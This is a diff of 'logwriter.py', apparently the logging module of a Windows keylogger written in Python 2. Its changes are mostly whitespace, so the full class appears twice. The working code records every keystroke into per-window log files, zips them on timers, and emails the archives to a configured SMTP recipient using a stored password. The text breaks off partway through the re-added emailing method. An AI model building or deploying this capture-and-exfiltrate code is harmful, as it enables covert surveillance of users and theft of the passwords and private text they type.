diff --git a/logwriter.py b/logwriter.py
index 5b3917d..4cfba1d 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -12,527 +12,529 @@ import mytimer
# the following are needed for zipping the logfiles
import zipfile
-
+
# the following are needed for automatic emailing
import smtplib
# python 2.5 does some email things differently from python 2.4 and py2exe doesn't like it.
# hence, the version check.
if sys.version_info[0] == 2 and sys.version_info[1] >= 5:
- from email.mime.multipart import MIMEMultipart
- from email.mime.base import MIMEBase
- from email.mime.text import MIMEText
- from email.utils import COMMASPACE, formatdate
- import email.encoders as Encoders
-
- #need these to work around py2exe
- import email.generator
- import email.iterators
- import email.utils
- import email.base64mime
-
+ from email.mime.multipart import MIMEMultipart
+ from email.mime.base import MIMEBase
+ from email.mime.text import MIMEText
+ from email.utils import COMMASPACE, formatdate
+ import email.encoders as Encoders
+
+ #need these to work around py2exe
+ import email.generator
+ import email.iterators
+ import email.utils
+ import email.base64mime
+
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
- # these are for python 2.4 - they don't play nice with python 2.5 + py2exe.
- from email.MIMEMultipart import MIMEMultipart
- from email.MIMEBase import MIMEBase
- from email.MIMEText import MIMEText
- from email.Utils import COMMASPACE, formatdate
- from email import Encoders
+ # these are for python 2.4 - they don't play nice with python 2.5 + py2exe.
+ from email.MIMEMultipart import MIMEMultipart
+ from email.MIMEBase import MIMEBase
+ from email.MIMEText import MIMEText
+ from email.Utils import COMMASPACE, formatdate
+ from email import Encoders
class LogWriter:
- '''Manages the writing of log files and logfile maintenance activities.
- '''
- def __init__(self, settings, cmdoptions):
-
- self.settings = settings
- self.cmdoptions = cmdoptions
- #self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
-
- try:
- os.makedirs(self.settings['General']['Log Directory'], 0777)
- except OSError, detail:
- if(detail.errno==17): #if directory already exists, swallow the error
- pass
- else:
- self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
- except:
- self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-
- self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames.
-
- self.writeTarget = ""
- if self.settings['General']['System Log'] != 'None':
- try:
- self.systemlog = open(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['System Log']), 'a')
- except OSError, detail:
- if(detail.errno==17): #if file already exists, swallow the error
- pass
- else:
- self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
- except:
- self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-
- # initialize self.log to None, so that we dont attempt to flush it until it exists
- self.log = None
-
- # Set up the subset of keys that we are going to log
- self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape
- self.asciiSubset.extend(range(32,255)) #all normal printable chars
-
- if self.settings['General']['Parse Backspace'] == True:
- self.asciiSubset.remove(8) #remove backspace from allowed chars if needed
- if self.settings['General']['Parse Escape'] == True:
- self.asciiSubset.remove(27) #remove escape from allowed chars if needed
-
- # todo: no need for float() typecasting, since that is now taken care by config validation
-
- # initialize the automatic zip and email timer, if enabled in .ini
- if self.settings['E-mail']['SMTP Send Email'] == True:
- self.emailtimer = mytimer.MyTimer(float(self.settings['E-mail']['Email Interval'])*60*60, 0, self.SendZipByEmail)
- self.emailtimer.start()
-
- # initialize automatic old log deletion timer
- if self.settings['Log Maintenance']['Delete Old Logs'] == True:
- self.oldlogtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Age Check Interval'])*60*60, 0, self.DeleteOldLogs)
- self.oldlogtimer.start()
-
- # initialize the automatic timestamp timer
- if self.settings['Timestamp']['Timestamp Enable'] == True:
- self.timestamptimer = mytimer.MyTimer(float(self.settings['Timestamp']['Timestamp Interval'])*60, 0, self.WriteTimestamp)
- self.timestamptimer.start()
-
- # initialize the automatic log flushing timer
- self.flushtimer = mytimer.MyTimer(float(self.settings['General']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"])
- self.flushtimer.start()
-
- # initialize some automatic zip stuff
- #self.settings['Zip']['ziparchivename'] = "log_[date].zip"
- if self.settings['Zip']['Zip Enable'] == True:
- self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles)
- self.ziptimer.start()
-
-
- def WriteToLogFile(self, event):
- '''Write keystroke specified in "event" object to logfile
- '''
- loggable = self.TestForNoLog(event) # see if the program is in the no-log list.
-
- if not loggable:
- if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n")
- return
-
- if self.cmdoptions.debug: self.PrintDebug("loggable, lets log it\n")
-
- loggable = self.OpenLogFile(event) #will return true if log file has been opened without problems
-
- if not loggable:
- self.PrintDebug("some error occurred when opening the log file. we cannot log this event. check systemlog (if specified) for details.\n")
- return
-
- if event.Ascii in self.asciiSubset:
- self.PrintStuff(chr(event.Ascii))
- if event.Ascii == 13 and self.settings['General']['Add Line Feed'] == True:
- self.PrintStuff(chr(10)) #add line feed after CR,if option is set
-
- #we translate all the special keys, such as arrows, backspace, into text strings for logging
- #exclude shift keys, because they are already represented (as capital letters/symbols)
- if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
- self.PrintStuff('[KeyName:' + event.Key + ']')
-
- #translate backspace into text string, if option is set.
- if event.Ascii == 8 and self.settings['General']['Parse Backspace'] == True:
- self.PrintStuff('[KeyName:' + event.Key + ']')
-
- #translate escape into text string, if option is set.
- if event.Ascii == 27 and self.settings['General']['Parse Escape'] == True:
- self.PrintStuff('[KeyName:' + event.Key + ']')
-
- # this has now been disabled, since flushing is done both automatically at interval,
- # and can also be performed from the control panel.
- #if event.Key == self.settings['flushkey']:
- # self.FlushLogWriteBuffers("Flushing write buffers due to keyboard command\n")
-
- def TestForNoLog(self, event):
- '''This function returns False if the process name associated with an event
- is listed in the noLog option, and True otherwise.'''
-
- self.processName = self.GetProcessNameFromHwnd(event.Window)
- if self.settings['General']['Applications Not Logged'] != 'None':
- for path in self.settings['General']['Applications Not Logged'].split(';'):
- if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path
- return False
- return True
-
- def FlushLogWriteBuffers(self, logstring=""):
- '''Flush the output buffers and print a message to systemlog or stdout
- '''
- self.PrintDebug(logstring)
- if self.log != None: self.log.flush()
- if self.settings['General']['System Log'] != 'None': self.systemlog.flush()
-
- def ZipLogFiles(self):
- '''Create a zip archive of all files in the log directory.
-
- Create archive name of type "log_YYYYMMDD_HHMMSS.zip
- '''
- self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n")
-
- # just in case we decide change the zip filename structure later, let's be flexible
- zipFilePattern = "log_[date].zip"
- zipFileTime = time.strftime("%Y%m%d_%H%M%S")
- zipFileRawTime = time.time()
- zipFileName = re.sub(r"\[date\]", zipFileTime, zipFilePattern)
-
- # have to change to the dir so we dont get extra dir hierarchy in the zipfile
- originalDir = os.getcwd()
- os.chdir(self.settings['General']['Log Directory'])
- myzip = zipfile.ZipFile(zipFileName, "w", zipfile.ZIP_DEFLATED)
-
- for root, dirs, files in os.walk(os.curdir):
- for fname in files:
- #if fname != self.settings['ziparchivename']:
- if not self.CheckIfZipFile(fname):
- myzip.write(os.path.join(root,fname).split("\\",1)[1])
-
- myzip.close()
- myzip = zipfile.ZipFile(zipFileName, "r", zipfile.ZIP_DEFLATED)
- if myzip.testzip() != None:
- self.PrintDebug("Warning: Zipfile did not pass check.\n")
- myzip.close()
-
- # write the name of the last completed zip file
- # so that we can check against this when emailing or ftping, to make sure
- # we do not try to transfer a zipfile which is in the process of being created
- ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w')
- ziplog.write(zipFileName)
- ziplog.close()
-
- # chdir back
- os.chdir(originalDir)
-
- #now we can delete all the logs that have not been modified since we made the zip.
- self.DeleteOldLogs(zipFileRawTime)
-
- def CheckIfZipFile(self, filename):
- '''Helper function for ZipLogFiles to make sure we don't include
- old zips into zip files.'''
- if re.match(r"^log_[0-9]{8}_[0-9]{6}\.zip$", filename) != None:
- return True
- else:
- return False
-
- def SendZipByEmail(self):
- '''Send the zipped logfile archive by email, using mail settings specified in the .ini file
- '''
- # basic logic flow:
- #~ if autozip is not enabled, just call the ziplogfiles function ourselves
-
- #~ read ziplog.txt (in a try block) and check if it conforms to being a proper zip filename
- #~ if not, then print error and get out
-
- #~ in a try block, read emaillog.txt to get latest emailed zip, and check for proper filename
- #~ if fail, just go ahead with sending all available zipfiles
-
- #~ do a os.listdir() on the dirname, and trim it down to only contain our zipfiles
- #~ and moreover, only zipfiles with names between lastemailed and latestzip, including latestzip,
- #~ but not including lastemailed.
-
- #~ send all the files in list
-
- #~ write new lastemailed to emaillog.txt
-
- self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
-
- if self.settings['Zip']['Zip Enable'] == False or os.path.isfile(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt")) == False:
- self.ZipLogFiles()
-
- try:
- ziplog = open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'r')
- latestZipFile = ziplog.readline()
- ziplog.close()
- if not self.CheckIfZipFile(latestZipFile):
- self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
- return
- except:
- self.PrintDebug("Unexpected error opening ziplog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
- return
-
- #~ if not self.CheckIfZipFile(latestZipFile):
- #~ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
- #~ return
-
- try:
- latestZipEmailed = "" #initialize to blank, just in case emaillog.txt doesn't get read
- emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'r')
- latestZipEmailed = emaillog.readline()
- emaillog.close()
- if not self.CheckIfZipFile(latestZipEmailed):
- self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
- return
- except:
- self.PrintDebug("Error opening emaillog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\nWill email all available log zips.\n")
-
- #~ if not self.CheckIfZipFile(latestZipEmailed):
- #~ self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
- #~ return
-
- zipFileList = os.listdir(self.settings['General']['Log Directory'])
- self.PrintDebug(str(zipFileList))
- if len(zipFileList) > 0:
- # removing elements from a list while iterating over it produces undesirable results
- # so we do the os.listdir again to iterate over
- for filename in os.listdir(self.settings['General']['Log Directory']):
- if not self.CheckIfZipFile(filename):
- zipFileList.remove(filename)
- self.PrintDebug("removing " + filename + " from zipfilelist because it's not a zipfile\n")
- # we can do the following string comparison due to the structured and dated format of the filenames
- elif filename <= latestZipEmailed or filename > latestZipFile:
- zipFileList.remove(filename)
- self.PrintDebug("removing " + filename + " from zipfilelist because it's not in range\n")
-
- self.PrintDebug(str(zipFileList))
-
- # set up the message
- msg = MIMEMultipart()
- msg['From'] = self.settings['E-mail']['SMTP From']
- msg['To'] = COMMASPACE.join(self.settings['E-mail']['SMTP To'].split(";"))
- msg['Date'] = formatdate(localtime=True)
- msg['Subject'] = self.settings['E-mail']['SMTP Subject']
-
- msg.attach( MIMEText(self.settings['E-mail']['SMTP Message Body']) )
-
- if len(zipFileList) == 0:
- msg.attach( MIMEText("No new logs present.") )
-
- if len(zipFileList) > 0:
- for file in zipFileList:
- part = MIMEBase('application', "octet-stream")
- part.set_payload( open(os.path.join(self.settings['General']['Log Directory'], file),"rb").read() )
- Encoders.encode_base64(part)
- part.add_header('Content-Disposition', 'attachment; filename="%s"'
- % os.path.basename(file))
- msg.attach(part)
-
- # set up the server and send the message
- mysmtp = smtplib.SMTP(self.settings['E-mail']['SMTP Server'], self.settings['E-mail']['SMTP Port'])
-
- if self.cmdoptions.debug:
- mysmtp.set_debuglevel(1)
- if self.settings['E-mail']['SMTP Use TLS'] == True:
- # we find that we need to use two ehlos (one before and one after starttls)
- # otherwise we get "SMTPException: SMTP AUTH extension not supported by server"
- # thanks for this solution go to http://forums.belution.com/en/python/000/009/17.shtml
- mysmtp.ehlo()
- mysmtp.starttls()
- mysmtp.ehlo()
- if self.settings['E-mail']['SMTP Needs Login'] == True:
- mysmtp.login(self.settings['E-mail']['SMTP Username'], myutils.password_recover(self.settings['E-mail']['SMTP Password']))
- sendingresults = mysmtp.sendmail(self.settings['E-mail']['SMTP From'], self.settings['E-mail']['SMTP To'].split(";"), msg.as_string())
- self.PrintDebug("Email sending errors (if any): " + str(sendingresults) + "\n")
-
- # need to put the quit in a try, since TLS connections may error out due to bad implementation with
- # socket.sslerror: (8, 'EOF occurred in violation of protocol')
- # Most SSL servers and clients (primarily HTTP, but some SMTP as well) are broken in this regard:
- # they do not properly negotiate TLS connection shutdown. This error is otherwise harmless.
- # reference URLs:
- # http://groups.google.de/group/comp.lang.python/msg/252b421a7d9ff037
- # http://mail.python.org/pipermail/python-list/2005-August/338280.html
- try:
- mysmtp.quit()
- except:
- pass
-
- # write the latest emailed zip to log for the future
- if len(zipFileList) > 0:
- zipFileList.sort()
- emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'w')
- emaillog.write(zipFileList.pop())
- emaillog.close()
-
- def ZipAndEmailTimerAction(self):
- '''This is a timer action function that zips the logs and sends them by email.
-
- deprecated - should delete this.
- '''
- self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
- self.ZipLogFiles()
- self.SendZipByEmail()
-
- def OpenLogFile(self, event):
- '''Open the appropriate log file, depending on event properties and settings in .ini file.
- '''
- # if the "onefile" option is set, we don't that much to do:
- if self.settings['General']['One File'] != 'None':
- if self.writeTarget == "":
- self.writeTarget = os.path.join(os.path.normpath(self.settings['General']['Log Directory']), os.path.normpath(self.settings['General']['One File']))
- try:
- self.log = open(self.writeTarget, 'a')
- except OSError, detail:
- if(detail.errno==17): #if file already exists, swallow the error
- pass
- else:
- self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
- return False
- except:
- self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
- return False
-
- #write the timestamp upon opening the logfile
- if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
-
- self.PrintDebug("writing to: " + self.writeTarget + "\n")
- return True
-
- # if "onefile" is not set, we start playing with the logfilenames:
- subDirName = self.filter.sub(r'__',self.processName) #our subdirname is the full path of the process owning the hwnd, filtered.
-
- WindowName = self.filter.sub(r'__',str(event.WindowName))
-
- filename = time.strftime('%Y%m%d') + "_" + str(event.Window) + "_" + WindowName + ".txt"
-
- #make sure our filename plus path is not longer than 255 characters, as per filesystem limit.
- #filename = filename[0:200] + ".txt"
- if len(os.path.join(self.settings['General']['Log Directory'], subDirName, filename)) > 255:
- if len(os.path.join(self.settings['General']['Log Directory'], subDirName)) > 250:
- self.PrintDebug("root log dir + subdirname is longer than 250. cannot log.")
- return False
- else:
- filename = filename[0:255-len(os.path.join(self.settings['General']['Log Directory'], subDirName))-4] + ".txt"
-
-
- #we have this writetarget conditional to make sure we dont keep opening and closing the log file when all inputs are going
- #into the same log file. so, when our new writetarget is the same as the previous one, we just write to the same
- #already-opened file.
- if self.writeTarget != os.path.join(self.settings['General']['Log Directory'], subDirName, filename):
- if self.writeTarget != "":
- self.FlushLogWriteBuffers("flushing and closing old log\n")
- #~ self.PrintDebug("flushing and closing old log\n")
- #~ self.log.flush()
- self.log.close()
- self.writeTarget = os.path.join(self.settings['General']['Log Directory'], subDirName, filename)
- self.PrintDebug("writeTarget:" + self.writeTarget + "\n")
-
- try:
- os.makedirs(os.path.join(self.settings['General']['Log Directory'], subDirName), 0777)
- except OSError, detail:
- if(detail.errno==17): #if directory already exists, swallow the error
- pass
- else:
- self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
- return False
- except:
- self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
- return False
-
- try:
- self.log = open(self.writeTarget, 'a')
- except OSError, detail:
- if(detail.errno==17): #if file already exists, swallow the error
- pass
- else:
- self.PrintDebug(sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
- return False
- except:
- self.PrintDebug("Unexpected error: " + sys.exc_info()[0] + ", " + sys.exc_info()[1] + "\n")
- return False
-
- #write the timestamp upon opening a new logfile
- if self.settings['Timestamp']['Timestamp Enable'] == True: self.WriteTimestamp()
-
- return True
-
- def PrintStuff(self, stuff):
- '''Write stuff to log, or to debug outputs.
- '''
- if not self.cmdoptions.debug and self.log != None:
- self.log.write(stuff)
- if self.cmdoptions.debug:
- self.PrintDebug(stuff)
-
- def PrintDebug(self, stuff):
- '''Write stuff to console and/or systemlog.
- '''
- if self.cmdoptions.debug:
- sys.stdout.write(stuff)
- if self.settings['General']['System Log'] != 'None':
- self.systemlog.write(stuff)
-
- def WriteTimestamp(self):
- self.PrintStuff("\n[" + time.asctime() + "]\n")
-
- def DeleteOldLogs(self, lastmodcutoff=None):
- '''Walk the log directory tree and remove old logfiles.
-
- if lastmodcutoff is not supplied, delete files older than maxlogage, as specified in .ini file.
-
- if lastmodcutoff is supplied [in seconds since epoch, as supplied by time.time()],
- instead delete files that were not modified after lastmodcutoff.
- '''
-
-
- self.PrintDebug("Analyzing and removing old logfiles.\n")
- for root, dirs, files in os.walk(self.settings['General']['Log Directory']):
- for fname in files:
- if lastmodcutoff == None:
- testvalue = time.time() - os.path.getmtime(os.path.join(root,fname)) > float(self.settings['Log Maintenance']['Max Log Age'])*24*60*60
- elif type(lastmodcutoff) == float:
- testvalue = os.path.getmtime(os.path.join(root,fname)) < lastmodcutoff
-
- if fname == "emaillog.txt" or fname == "ziplog.txt":
- testvalue = False # we don't want to delete these
-
- if type(lastmodcutoff) == float and self.CheckIfZipFile(fname):
- testvalue = False # we don't want to delete zipped logs, unless running on timer and using maxlogage
-
- if testvalue:
- try:
- os.remove(os.path.join(root,fname))
- except:
- self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
- try:
- os.rmdir(root)
- except:
- self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
-
- def GetProcessNameFromHwnd(self, hwnd):
- '''Acquire the process name from the window handle for use in the log filename.
- '''
- threadpid, procpid = win32process.GetWindowThreadProcessId(hwnd)
-
- # PROCESS_QUERY_INFORMATION (0x0400) or PROCESS_VM_READ (0x0010) or PROCESS_ALL_ACCESS (0x1F0FFF)
-
- mypyproc = win32api.OpenProcess(win32con.PROCESS_ALL_ACCESS, False, procpid)
- procname = win32process.GetModuleFileNameEx(mypyproc, 0)
- return procname
-
- def stop(self):
- '''To exit cleanly, flush all write buffers, and stop all running timers.
- '''
- self.FlushLogWriteBuffers("Flushing buffers prior to exiting")
- self.flushtimer.cancel()
- if self.settings['E-mail']['SMTP Send Email'] == True:
- self.emailtimer.cancel()
- if self.settings['Log Maintenance']['Delete Old Logs'] == True:
- self.oldlogtimer.cancel()
- if self.settings['Timestamp']['Timestamp Enable'] == True:
- self.timestamptimer.cancel()
- if self.settings['Zip']['Zip Enable'] == True:
- self.ziptimer.cancel()
+ '''Manages the writing of log files and logfile maintenance activities.
+ '''
+ def __init__(self, settings, cmdoptions):
+
+ self.settings = settings
+ self.cmdoptions = cmdoptions
+ #self.settings['General']['Log Directory'] = os.path.normpath(self.settings['General']['Log Directory'])
+
+ try:
+ os.makedirs(self.settings['General']['Log Directory'], 0777)
+ except OSError, detail:
+ if(detail.errno==17): #if directory already exists, swallow the error
+ pass
+ else:
+ self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+ except:
+ self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+
+ self.filter = re.compile(r"[\\\/\:\*\?\"\<\>\|]+") #regexp filter for the non-allowed characters in windows filenames.
+
+ self.writeTarget = ""
+ if self.settings['General']['System Log'] != 'None':
+ try:
+ self.systemlog = open(os.path.join(self.settings['General']['Log Directory'], self.settings['General']['System Log']), 'a')
+ except OSError, detail:
+ if(detail.errno==17): #if file already exists, swallow the error
+ pass
+ else:
+ self.PrintDebug(str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+ except:
+ self.PrintDebug("Unexpected error: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+
+ # initialize self.log to None, so that we dont attempt to flush it until it exists
+ self.log = None
+
+ # Set up the subset of keys that we are going to log
+ self.asciiSubset = [8,9,10,13,27] #backspace, tab, line feed, carriage return, escape
+ self.asciiSubset.extend(range(32,255)) #all normal printable chars
+
+ if self.settings['General']['Parse Backspace'] == True:
+ self.asciiSubset.remove(8) #remove backspace from allowed chars if needed
+ if self.settings['General']['Parse Escape'] == True:
+ self.asciiSubset.remove(27) #remove escape from allowed chars if needed
+
+ # todo: no need for float() typecasting, since that is now taken care by config validation
+
+ # initialize the automatic zip and email timer, if enabled in .ini
+ if self.settings['E-mail']['SMTP Send Email'] == True:
+ self.emailtimer = mytimer.MyTimer(float(self.settings['E-mail']['Email Interval'])*60*60, 0, self.SendZipByEmail)
+ self.emailtimer.start()
+
+ # initialize automatic old log deletion timer
+ if self.settings['Log Maintenance']['Delete Old Logs'] == True:
+ self.oldlogtimer = mytimer.MyTimer(float(self.settings['Log Maintenance']['Age Check Interval'])*60*60, 0, self.DeleteOldLogs)
+ self.oldlogtimer.start()
+
+ # initialize the automatic timestamp timer
+ if self.settings['Timestamp']['Timestamp Enable'] == True:
+ self.timestamptimer = mytimer.MyTimer(float(self.settings['Timestamp']['Timestamp Interval'])*60, 0, self.WriteTimestamp)
+ self.timestamptimer.start()
+
+ # initialize the automatic log flushing timer
+ self.flushtimer = mytimer.MyTimer(float(self.settings['General']['Flush Interval']), 0, self.FlushLogWriteBuffers, ["Flushing file write buffers due to timer\n"])
+ self.flushtimer.start()
+
+ # initialize some automatic zip stuff
+ #self.settings['Zip']['ziparchivename'] = "log_[date].zip"
+ if self.settings['Zip']['Zip Enable'] == True:
+ self.ziptimer = mytimer.MyTimer(float(self.settings['Zip']['Zip Interval'])*60*60, 0, self.ZipLogFiles)
+ self.ziptimer.start()
+
+
+ def WriteToLogFile(self, event):
+ '''Write keystroke specified in "event" object to logfile
+ '''
+ loggable = self.TestForNoLog(event) # see if the program is in the no-log list.
+
+ if not loggable:
+ if self.cmdoptions.debug: self.PrintDebug("not loggable, we are outta here\n")
+ return
+
+ if self.cmdoptions.debug: self.PrintDebug("loggable, lets log it\n")
+
+ loggable = self.OpenLogFile(event) #will return true if log file has been opened without problems
+
+ if not loggable:
+ self.PrintDebug("some error occurred when opening the log file. we cannot log this event. check systemlog (if specified) for details.\n")
+ return
+
+ if event.Ascii in self.asciiSubset:
+ self.PrintStuff(chr(event.Ascii))
+ if event.Ascii == 13 and self.settings['General']['Add Line Feed'] == True:
+ self.PrintStuff(chr(10)) #add line feed after CR,if option is set
+
+ #we translate all the special keys, such as arrows, backspace, into text strings for logging
+ #exclude shift keys, because they are already represented (as capital letters/symbols)
+ if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
+ self.PrintStuff('[KeyName:' + event.Key + ']')
+
+ #translate backspace into text string, if option is set.
+ if event.Ascii == 8 and self.settings['General']['Parse Backspace'] == True:
+ self.PrintStuff('[KeyName:' + event.Key + ']')
+
+ #translate escape into text string, if option is set.
+ if event.Ascii == 27 and self.settings['General']['Parse Escape'] == True:
+ self.PrintStuff('[KeyName:' + event.Key + ']')
+
+ # this has now been disabled, since flushing is done both automatically at interval,
+ # and can also be performed from the control panel.
+ #if event.Key == self.settings['flushkey']:
+ # self.FlushLogWriteBuffers("Flushing write buffers due to keyboard command\n")
+
+ def TestForNoLog(self, event):
+ '''This function returns False if the process name associated with an event
+ is listed in the noLog option, and True otherwise.'''
+
+ self.processName = self.GetProcessNameFromHwnd(event.Window)
+ if self.settings['General']['Applications Not Logged'] != 'None':
+ for path in self.settings['General']['Applications Not Logged'].split(';'):
+ if os.stat(path) == os.stat(self.processName): #we use os.stat instead of comparing strings due to multiple possible representations of a path
+ return False
+ return True
+
+ def FlushLogWriteBuffers(self, logstring=""):
+ '''Flush the output buffers and print a message to systemlog or stdout
+ '''
+ self.PrintDebug(logstring)
+ if self.log != None: self.log.flush()
+ if self.settings['General']['System Log'] != 'None': self.systemlog.flush()
+
+ def ZipLogFiles(self):
+ '''Create a zip archive of all files in the log directory.
+
+ Create archive name of type "log_YYYYMMDD_HHMMSS.zip
+ '''
+ self.FlushLogWriteBuffers("Flushing write buffers prior to zipping the logs\n")
+
+ # just in case we decide change the zip filename structure later, let's be flexible
+ zipFilePattern = "log_[date].zip"
+ zipFileTime = time.strftime("%Y%m%d_%H%M%S")
+ zipFileRawTime = time.time()
+ zipFileName = re.sub(r"\[date\]", zipFileTime, zipFilePattern)
+
+ # have to change to the dir so we dont get extra dir hierarchy in the zipfile
+ originalDir = os.getcwd()
+ os.chdir(self.settings['General']['Log Directory'])
+ myzip = zipfile.ZipFile(zipFileName, "w", zipfile.ZIP_DEFLATED)
+
+ for root, dirs, files in os.walk(os.curdir):
+ for fname in files:
+ #if fname != self.settings['ziparchivename']:
+ if not self.CheckIfZipFile(fname):
+ myzip.write(os.path.join(root,fname).split("\\",1)[1])
+
+ myzip.close()
+ myzip = zipfile.ZipFile(zipFileName, "r", zipfile.ZIP_DEFLATED)
+ if myzip.testzip() != None:
+ self.PrintDebug("Warning: Zipfile did not pass check.\n")
+ myzip.close()
+
+ # write the name of the last completed zip file
+ # so that we can check against this when emailing or ftping, to make sure
+ # we do not try to transfer a zipfile which is in the process of being created
+ ziplog=open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'w')
+ ziplog.write(zipFileName)
+ ziplog.close()
+
+ # chdir back
+ os.chdir(originalDir)
+
+ #now we can delete all the logs that have not been modified since we made the zip.
+ self.DeleteOldLogs(zipFileRawTime)
+
+ def CheckIfZipFile(self, filename):
+ '''Helper function for ZipLogFiles to make sure we don't include
+ old zips into zip files.'''
+ if re.match(r"^log_[0-9]{8}_[0-9]{6}\.zip$", filename) != None:
+ return True
+ else:
+ return False
+
+ def SendZipByEmail(self):
+ '''Send the zipped logfile archive by email, using mail settings specified in the .ini file
+ '''
+ # basic logic flow:
+ #~ if autozip is not enabled, just call the ziplogfiles function ourselves
+
+ #~ read ziplog.txt (in a try block) and check if it conforms to being a proper zip filename
+ #~ if not, then print error and get out
+
+ #~ in a try block, read emaillog.txt to get latest emailed zip, and check for proper filename
+ #~ if fail, just go ahead with sending all available zipfiles
+
+ #~ do a os.listdir() on the dirname, and trim it down to only contain our zipfiles
+ #~ and moreover, only zipfiles with names between lastemailed and latestzip, including latestzip,
+ #~ but not including lastemailed.
+
+ #~ send all the files in list
+
+ #~ write new lastemailed to emaillog.txt
+
+ self.PrintDebug("Sending mail to " + self.settings['E-mail']['SMTP To'] + "\n")
+
+ if self.settings['Zip']['Zip Enable'] == False or os.path.isfile(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt")) == False:
+ self.ZipLogFiles()
+
+ try:
+ ziplog = open(os.path.join(self.settings['General']['Log Directory'], "ziplog.txt"), 'r')
+ latestZipFile = ziplog.readline()
+ ziplog.close()
+ if not self.CheckIfZipFile(latestZipFile):
+ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+ return
+ except:
+ self.PrintDebug("Unexpected error opening ziplog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\n")
+ return
+
+ #~ if not self.CheckIfZipFile(latestZipFile):
+ #~ self.PrintDebug("latest zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+ #~ return
+
+ try:
+ latestZipEmailed = "" #initialize to blank, just in case emaillog.txt doesn't get read
+ emaillog = open(os.path.join(self.settings['General']['Log Directory'], "emaillog.txt"), 'r')
+ latestZipEmailed = emaillog.readline()
+ emaillog.close()
+ if not self.CheckIfZipFile(latestZipEmailed):
+ self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+ return
+ except:
+ self.PrintDebug("Error opening emaillog.txt: " + str(sys.exc_info()[0]) + ", " + str(sys.exc_info()[1]) + "\nWill email all available log zips.\n")
+
+ #~ if not self.CheckIfZipFile(latestZipEmailed):
+ #~ self.PrintDebug("latest emailed zip filename does not match proper filename pattern. something went wrong. stopping.\n")
+ #~ return
+
+ zipFileList = os.listdir(self.settings['General']['Log Directory'])
+ self.PrintDebug(str(zipFileList))
+ if len(zipFileList) > 0:
+ # removing elements from a list while iterating over it produces undesirable results
+ # so we do the os.listdir again to iterate over
+ for filename in os.listdir(self.settings['General']['Log Directory']):
+ if not self.CheckIfZipFile(filename):
+ zipFileList.remove(filename)
+ self.PrintDebug("removing " + filename + " from zipfilelist because it's not a zipfile\n")
+ # we can do the following string comparison due to the structured and dated format of the filenames
+ elif filename <= latestZipEmailed or filename > latestZipFile:
+ zipFileList.remove(filename)
+ self.PrintDebug("removing " + filename + " from zipfilelist because it's not in range\n")
+
+ self.PrintDebug(str(zipFileList))
+
+ # set up the message
+ msg = MIMEMultipart()
+ msg['From'] = self.settings['E-mail']['SMTP From']
+ msg['To'] = COMMASPACE.join(self.settings['E-mail']['SMTP To'].split(";"))
+ msg['Date'] = formatdate(localtime=True)
